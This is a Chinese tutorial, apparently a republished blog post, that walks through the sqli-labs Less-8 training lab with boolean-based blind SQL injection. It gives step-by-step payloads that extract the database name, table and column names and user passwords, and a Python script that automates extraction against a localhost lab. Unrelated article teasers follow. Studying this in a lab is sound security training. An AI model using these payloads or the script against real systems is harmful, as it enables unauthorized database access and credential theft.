sqli—labs第八关——布尔盲注

一:确定注入类型

按照我们之前的步骤来

输入

?id=1' and '1'='1'--+
?id=1' and '1'='2'--+

界面正常 

 第二行界面异常空白

所以注入类型为单引号闭合型

二: 布尔盲注

1.判断是否使用条件

(1):存在注入但不会直接显示查询结果

(2):页面不会返回sql错误信息

(3):注入真假时,页面会产生可观察到的差异

比如这一关我们输入

?id=1' and 1=1 --+  (返回"You are in...")
?id=1' and 1=2 --+  (页面空白)

所以我们使用布尔盲注

二:开始攻击

1.爆库名长度

?id=1' and length(database())=1 --+ (无回显)
?id=1' and length(database())=2 --+ 
...
?id=1' and length(database())=8 --+ (出现"You are in...")

ps:可以使用二分法提高效率

?id=1' and length(database())>4 --+ (有回显)
?id=1' and length(database())>6 --+ (有回显)
?id=1' and length(database())>8 --+ (无回显)

 2.根据库名长度爆库名:

-- 第一位字符
?id=1' and substr(database(),1,1)='a' --+
...
?id=1' and substr(database(),1,1)='s' --+ (成功)-- 第二位字符
?id=1' and substr(database(),2,1)='a' --+
...
?id=1' and substr(database(),2,1)='e' --+ (成功)-- 使用ASCII码提高效率
?id=1' and ascii(substr(database(),1,1))>115 --+
?id=1' and ascii(substr(database(),1,1))=115 --+ (s的ASCII码)

3.对当前库爆表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+
...
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ (成功)

 4.根据库名和表数量爆表名长度

-- 第一个表长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
...
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ (成功)-- 第二个表长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+ (成功)

5. 根据表名长度爆表名

-- 第一个表名(emails)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='m' --+
...-- 第二个表名(users)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='u' --+

6. 对表爆列数量(以users表为例)

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3 --+ (成功)

7. 根据表名和列数量爆列名长度

-- 第一列长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1))=2 --+ (id)-- 第二列长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1))=8 --+ (username)-- 第三列长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1))=8 --+ (password)

8. 根据列名长度爆列名

-- 第一列名(id)
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='d' --+-- 第二列名(username)
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='u' --+

9. 根据列名爆数据值

-- 获取第一个用户的用户名长度
?id=1' and length((select username from users limit 0,1))=4 --+ (Dumb)-- 获取第一个用户的用户名
?id=1' and substr((select username from users limit 0,1),1,1)='D' --+
?id=1' and substr((select username from users limit 0,1),2,1)='u' --+-- 获取第一个用户的密码
?id=1' and substr((select password from users limit 0,1),1,1)='D' --+-- 获取管理员密码
?id=1' and substr((select password from users where username='admin' limit 0,1),1,1)='a' --+

三:脚本优化

1.先在终端输入python --version,会显示python版本,建议3.6+

2.安装resquests库

pip install requests

3.创建脚本文件 

4

4.附上代码

import requests
import timedef get_database_info():# 配置目标URL和请求头base_url = "http://127.0.0.1/sqli-labs/Less-8/"headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ''(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'}# 1. 获取数据库名长度(使用二分法优化)print("[*] 正在检测数据库名长度...")db_length = 0low, high = 1, 50  # 假设数据库名长度在1-50之间while low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT LENGTH(database())) > {mid} -- "response = requests.get(base_url, params={"id": payload}, headers=headers)if "You are in" in response.text:low = mid + 1else:high = mid - 1db_length = lowprint(f"[+] 数据库名长度: {db_length}")# 2. 获取数据库名(优化后的逐字符检测)print("[*] 正在破解数据库名...")database_name = ""for position in range(1, db_length + 1):# 使用二分法查找每个字符low, high = 32, 126  # ASCII可打印字符范围while low <= high:mid = (low + high) // 2payload = f"1' AND ASCII(SUBSTRING((SELECT database()), {position}, 1)) > {mid} -- "response = requests.get(base_url, params={"id": payload}, headers=headers)if "You are in" in response.text:low = mid + 1else:high = mid - 1if low <= 126:char = chr(low)database_name += charprint(f"[*] 进度: {database_name.ljust(db_length, '_')}", end="\r")time.sleep(0.1)  # 避免请求过快else:print(f"\n[!] 第{position}个字符检测失败")breakprint(f"\n[+] 数据库名: {database_name}")return database_nameif __name__ == "__main__":try:print("=== SQL盲注自动化工具 ===")db_name = get_database_info()print("\n=== 操作完成 ===")except Exception as e:print(f"[!] 发生错误: {str(e)}")input("按任意键退出...")

 ❀❀❀ 完结撒花!! ❀❀❀

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/83710.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ARP 原理总结

&#x1f310; 一、ARP 原理总结 ARP&#xff08;Address Resolution Protocol&#xff09;是用于通过 IP 地址解析 MAC 地址的协议&#xff0c;工作在 链路层 与 网络层之间&#xff08;OSI 模型的第三层与第二层之间&#xff09;。 &#x1f501; ARP通信过程&#xff1a; …

SpringCloud——EureKa

目录 1.前言 1.微服务拆分及远程调用 3.EureKa注册中心 远程调用的问题 eureka原理 搭建EureKaServer 服务注册 服务发现 1.前言 分布式架构&#xff1a;根据业务功能对系统进行拆分&#xff0c;每个业务模块作为独立项目开发&#xff0c;称为服务。 优点&#xff1a; 降…

机顶盒刷机笔记

疑难杂症解决 hitool线刷网口不通tftp超时--》关闭防火墙cm201-2卡刷所有包提示失败abort install--》找个卡刷包只刷fastboot分区再卡刷就能通过了&#xff08;cm201救砖包 (M8273版子&#xff09;&#xff09; 刷机工具 海兔烧录工具HiTool-STB-5.3.12工具&#xff0c;需要…

Linux动静态库制作与原理

什么是库 库是写好的现有的&#xff0c;成熟的&#xff0c;可以复用的代码。现实中每个程序都要依赖很多基础的底层库&#xff0c;不可能每个人的代码都从零开始&#xff0c;因此库的存在意义非同寻常。 本质上来说库是一种可执行代码的二进制形式&#xff0c;可以被操作系统…

如何通过小智AI制作会说话的机器人玩具?

一、硬件准备与组装 1. 核心硬件选择 主控芯片&#xff1a;选择支持无线网络连接、音频处理和可编程接口的嵌入式开发板 音频模块&#xff1a;配备拾音麦克风与小型扬声器&#xff0c;确保语音输入/输出功能 显示模块&#xff1a;选择适配的交互显示屏用于可视化反馈 扩展模…

如何控制邮件发送频率避免打扰用户

一、用户行为 监测用户与邮件的互动数据&#xff0c;如打开率、点击率下滑或退订申请增多&#xff0c;可能是发送频率过高的警示信号。利用邮件营销平台的分析工具&#xff0c;识别这些指标的变动趋势&#xff0c;为调整提供依据。 二、行业特性与受众差异 不同行业用户对邮…

定积分的“偶倍奇零”性质及其使用条件

定积分的“偶倍奇零”性质是针对对称区间上的奇偶函数积分的重要简化方法。以下是其核心内容和应用要点&#xff1a; ​一、基本性质 ​偶函数&#xff08;偶倍&#xff09;​ 若 f(x) 在 [−a,a] 上为偶函数&#xff08;即 f(−x)f(x)&#xff09;&#xff0c;则&#xff1a; …

如何在 Windows 11 或 10 上安装 Fliqlo 时钟屏保

了解如何在 Windows 11 或 10 上安装 Fliqlo,为您的 PC 或笔记本电脑屏幕添加一个翻转时钟屏保以显示时间。 Fliqlo 是一款适用于 Windows 和 macOS 平台的免费时钟屏保。它也适用于移动设备,但仅限于 iPhone 和 iPad。Fliqlo 的主要功能是在用户不活动时在 PC 或笔记本电脑…

【C/C++】C++并发编程:std::async与std::thread深度对比

文章目录 C并发编程&#xff1a;std::async与std::thread深度对比1 核心设计目的以及区别2 详细对比分析3 代码对比示例4 适用场景建议5 总结 C并发编程&#xff1a;std::async与std::thread深度对比 在 C 中&#xff0c;std::async 和 std::thread 都是用于并发编程的工具&am…

Axure疑难杂症:垂直菜单展开与收回(4大核心问题与专家级解决方案)

亲爱的小伙伴,在您浏览之前,烦请关注一下,在此深表感谢!如有帮助请订阅专栏! Axure产品经理精品视频课已登录CSDN可点击学习https://edu.csdn.net/course/detail/40420 课程主题:垂直菜单展开与收回 主要内容:超长菜单实现、展开与收回bug解释、Axure9版本限制等问题解…

ASIC和FPGA,到底应该选择哪个?

ASIC和FPGA各有优缺点。 ASIC针对特定需求&#xff0c;具有高性能、低功耗和低成本&#xff08;在大规模量产时&#xff09;&#xff1b;但设计周期长、成本高、风险大。FPGA则适合快速原型验证和中小批量应用&#xff0c;开发周期短&#xff0c;灵活性高&#xff0c;适合初创企…

DAY 30 模块和库的导入

知识点回顾&#xff1a; 1.导入官方库的三种手段 2.导入自定义库/模块的方式 3.导入库/模块的核心逻辑&#xff1a;找到根目录&#xff08;python解释器的目录和终端的目录不一致&#xff09; 作业&#xff1a;自己新建几个不同路径文件尝试下如何导入 import math # 导入…

MyBatis:动态SQL

文章目录 动态SQLif标签trim标签where标签set标签foreach标签include标签和sql标签 Mybatis动态SQL的官方文档&#xff1a; https://mybatis.net.cn/dynamic-sql.html 动态SQL 动态SQL是 MyBatis的强大特性之一,如果是使用JDBC根据不同条件拼接sql很麻烦&#xff0c;例如拼接…

Java - Junit框架

单元测试&#xff1a;针对最小的功能单元(方法)&#xff0c;编写测试代码对该功能进行正确性测试。 Junit&#xff1a;Java语言实现的单元测试框架&#xff0c;很多开发工具已经集成了Junit框架&#xff0c;如IDEA。 优点 编写的测试代码很灵活&#xff0c;可以指某个测试方法…

学生成绩管理系统Java实战(Spring Boot+MyBatis Plus)

文章目录 一、系统需求分析&#xff08;避坑指南&#xff09;二、技术选型&#xff08;2024新版&#xff09;三、数据库设计&#xff08;三大核心表&#xff09;1. 学生表&#xff08;student&#xff09;2. 课程表&#xff08;course&#xff09;3. 成绩表&#xff08;score&a…

MySQL安装实战指南:Mac、Windows与Docker全平台详解

MySQL作为世界上最流行的开源关系型数据库&#xff0c;是每位开发者必须掌握的基础技能。本指南将手把手带你完成三大平台的MySQL安装&#xff0c;从下载到配置&#xff0c;每个步骤都配有详细说明和截图&#xff0c;特别适合新手学习。 一、Mac系统安装MySQL 1.1 通过Homebre…

多模态大语言模型arxiv论文略读(七十九)

AIM: Let Any Multi-modal Large Language Models Embrace Efficient In-Context Learning ➡️ 论文标题&#xff1a;AIM: Let Any Multi-modal Large Language Models Embrace Efficient In-Context Learning ➡️ 论文作者&#xff1a;Jun Gao, Qian Qiao, Ziqiang Cao, Zi…

[Harmony]封装一个可视化的数据持久化工具

1.添加权限 在module.json5文件中添加权限 // 声明应用需要请求的权限列表 "requestPermissions": [{"name": "ohos.permission.DISTRIBUTED_DATASYNC", // 权限名称&#xff1a;分布式数据同步权限"reason": "$string:distrib…

利用html制作简历网页和求职信息网页

前言 大家好&#xff0c;我是maybe。今天下午初步学习了html的基础知识。做了两个小网页&#xff0c;一个网页是简历网页&#xff0c;一个网页是求职信息填写网页。跟大家分享一波~ 说明:我不打算上传图片。所以如果有朋友按照我的代码运行网页&#xff0c;会出现一个没有图片…

Vue 3 实现后端 Excel 文件流导出功能(Blob 下载详解)

&#x1f4a1; 本文以告警信息导出为例&#xff0c;介绍 Vue 3 中如何通过 Axios 调用后端接口并处理文件流&#xff0c;实现 Excel 自动下载功能。 &#x1f4d1; 目录 一、前言 二、后端接口说明 三、前端实现思路 四、导出功能完整代码 五、常见问题处理 六、效果展示 …